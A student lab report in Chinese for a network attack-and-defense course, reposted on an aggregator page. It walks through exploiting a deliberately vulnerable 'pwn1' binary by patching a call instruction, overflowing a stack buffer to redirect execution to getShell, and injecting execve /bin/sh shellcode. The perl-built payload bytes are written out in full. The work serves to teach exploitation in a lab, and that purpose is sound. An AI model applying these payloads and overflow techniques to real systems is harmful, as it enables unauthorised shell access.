当前位置: 首页 > news >正文

20232413邓昊 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一.实验目标

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个自己制作的shellcode并运行这段shellcode。

二.实验知识点

1.熟悉Linux基本操作

2.能看懂常用指令,如管道(|),输入、输出重定向(>)等。

3.理解Bof的原理。

4.能看得懂汇编、机器指令、EIP、指令地址。

5.会使用gdb,vi。

三.实验步骤

(一)修改程序机器指令,该变终端名

image

 将pwn1文件下载至kali并改名为pwn20232413,反汇编文件

ba54d7f0fc4078c7a477d8abdc223cc6

 在终端输入vi pwn20232413,结果为乱码

点击esc,输入:%!xxd进入十六进制编辑模式,将e8 d7更改为e8 c3

a55b17d248108e7dbf73995c069510e4

 :%!xxd -r转回原来的格式并保存

fc25ce3fd58ffef13211fc59442dc012

 修改成功

输入./pwn20232413显示运行结果

image

 

(二)BOF攻击,改变程序执行流

安装gdb

使用命令sudo apt update和sudo apt install gdb命令安装gdb,完成后输入gdb,查看是否安装成功

d1dfc42093002cdef0fcbe6f0891971a

 复制pwn1,命名为pwn20232413_2

在 gdb 调试 pwn20232413_2程序的过程中,输入字符串 “1111111122222222333333334444444412345678” 后,使用 info r 命令查看寄存器 eip 的值,结果显示输入的 “1234”(对应十六进制 0x34333231)已覆盖堆栈上的返回地址。因此,只需将这四个字符替换为 getShell 函数的内存地址,就能让程序执行 getShell 函数。

302a96a13cee67d588aa215616c2bb33

 

0bcc93114746deeb8639ab093998fcab

 为了将1234替换为getShell的地址0x0804847d,我们通过以下命令生成一个包含这些十六进制内容的文件:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成文件后,使用十六进制查看工具查看文件内容,命令为:
xxd input
使用以下命令将input文件中的字符串作为可执行文件的输入:
(cat input;cat) | ./pwn20232413_2
输入字符串将传递给pwn20232413_2,实现对程序的控制。

b5e1b73d089cc98bd9795486a7a0a1aa

 成功调用getShell函数

(三)注入Shellcode

1.准备execstack

bdfdf6d1f13be12fe57904f3c29477b8

 2.构筑payload

输入命令构筑shellcode的输入

perl -e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

输入以下命令将input_shellcode的输入内容作为pwn20232413_3的输入:
(cat input_shellcode; cat) | ./pwn20232413_3

25ee26b6c52d8bb0a77cbf797c452631

 3.新开终端,输入以下命令查看pwn20232413_3文件的进程及进程号:
ps -ef | grep pwn20232413_3

e170d70acf3963affaa6135c2c54d73f

 4.设置断点,查看注入内存

5.确认RET的覆盖跳转

6.shellcode执行结果

1d18d3cf147014667d1c1c02f45c1c1d

 

image

 

四.实验中遇到的困难与解决办法

困难:

安装gdb时,由于缺失公钥,无法验证签名,导致安装失败。

解决办法:

通过命令强制删除旧密钥,通过官方源重新导入密钥,修复密钥换文件权限,以下为使用到的命令

 1. 下载 Kali 官方密钥文件(archive-key.asc)
wget -O /tmp/kali-archive-key.asc https://archive.kali.org/archive-key.asc 2. 验证密钥文件完整性
gpg --verify /tmp/kali-archive-key.asc
正常输出应包含「Good signature from "Kali Linux Repository <devel@kali.org>"」 3. 将密钥导入 APT 密钥环
sudo apt-key add /tmp/kali-archive-key.asc4. 同时将密钥添加到「signed-by」指定的密钥文件(匹配 sources.list 配置)
sudo gpg --dearmor /tmp/kali-archive-key.asc -o /usr/share/keyrings/kali-archive-keyring.gpg
5.给密钥文件设置正确的权限(所有人可读,所有者可写)
sudo chmod 644 /usr/share/keyrings/kali-archive-keyring.gpg

ls -l /usr/share/keyrings/kali-archive-keyring.gpg
# 正常输出应类似:-rw-r--r-- 1 root root ...
五.实验心得
本次实验不仅让我掌握了缓冲区溢出漏洞的调试与利用方法,更培养了 “从程序底层逻辑分析问题” 的思维习惯。通过 GDB 工具的实操、栈帧结构的分析、payload 的构造与验证,我对 “程序执行流控制” 这一核心概念有了从抽象到具体的认知。未来,我将以本次实验为基础,进一步学习更复杂的漏洞类型与利用技术,不断提升自身的网络安全实践能力。
 
http://www.jsqmd.com/news/12908/

相关文章:

  • 充气泵方案:在开发时需要测试那些功能?
  • 安装fastasr遇到的问题记录
  • 微服务项目启动出现NacosException: Client not connected, current status:STARTING异常
  • 2025 年高压锅炉管厂家推荐榜:20G/15crmog/12cr1moVG/无缝钢管/gb5310/A335P11/厚壁/p91/t12高压锅炉管厂家,聚焦品质与服务,助力企业精准选品
  • 国标GB28181算法算力平台EasyGBS软件设备统一管理及录像存储能力
  • P11118 [ROI 2024] 无人机比赛 (Day 2) 题解
  • 基于遗传算法和粒子群优化在梁结构拓扑优化中的技术方案
  • 网络拓扑的认识与体会
  • P6333 [COCI2007-2008#1] ZAPIS 题解
  • 直播预告|PostgreSQL 18 六大新特性深度解析
  • 抖音超人福袋助手,抖音福袋扭蛋机,抖音抢福袋工具,
  • 操作指南:国标GB28181/RTSP推流EasyGBS算法算力平台如何查看设备端录像回看?
  • 【华中科大主办|往届EI均检索】第四届声学,流体力学与工程国际学术会议(AFME 2025)
  • Codeforces Round 1058 (Div. 2) (4/8)
  • 10.13
  • 论文解读-《Learning Discrete Structures for Graph Neural Networks》 - zhang
  • 【A】The Lost Ship in the Sky
  • 2025 AI 品牌最新推荐排行榜:聚焦商业落地能力,甄选懂需求的实力服务机构东北 Ai/大连 Ai/大连 Ai 培训/大连 Ai 开发/大连 Ai 推广公司推荐
  • 基于经验模态分解的去趋势波动分析(EMD-DFA)方法
  • 双碳目标下企业零碳转型的 MyEMS 碳流可视化支撑体系:路径探索与效能评估
  • Langchain+Neo4j+Agent 的结合案例-电商销售 - 详解
  • ERP原理笔记
  • 2025 智慧康养实训室/专业建设/虚拟仿真/仿真实训室推荐榜:北京教之道 5 星领衔,适配多元康养场景
  • 2025 年国内工业水泵厂家最新推荐排行榜:聚焦污水 / 离心 / 渣浆 / 大功率 / 泥浆类设备,助力企业精准选型
  • 基于深度学习的图像增强-zeros-DCE模型源码分享
  • Oracle sql tuning guide 翻译 Part 6-3 --- 用Hint影响优化器 - 指南
  • redhat 链接宝塔mysql报错问题发现到解决
  • vue2初始化过程
  • [Doris/函数] Doris 之数据查询
  • 如何用AI绘制程序时序图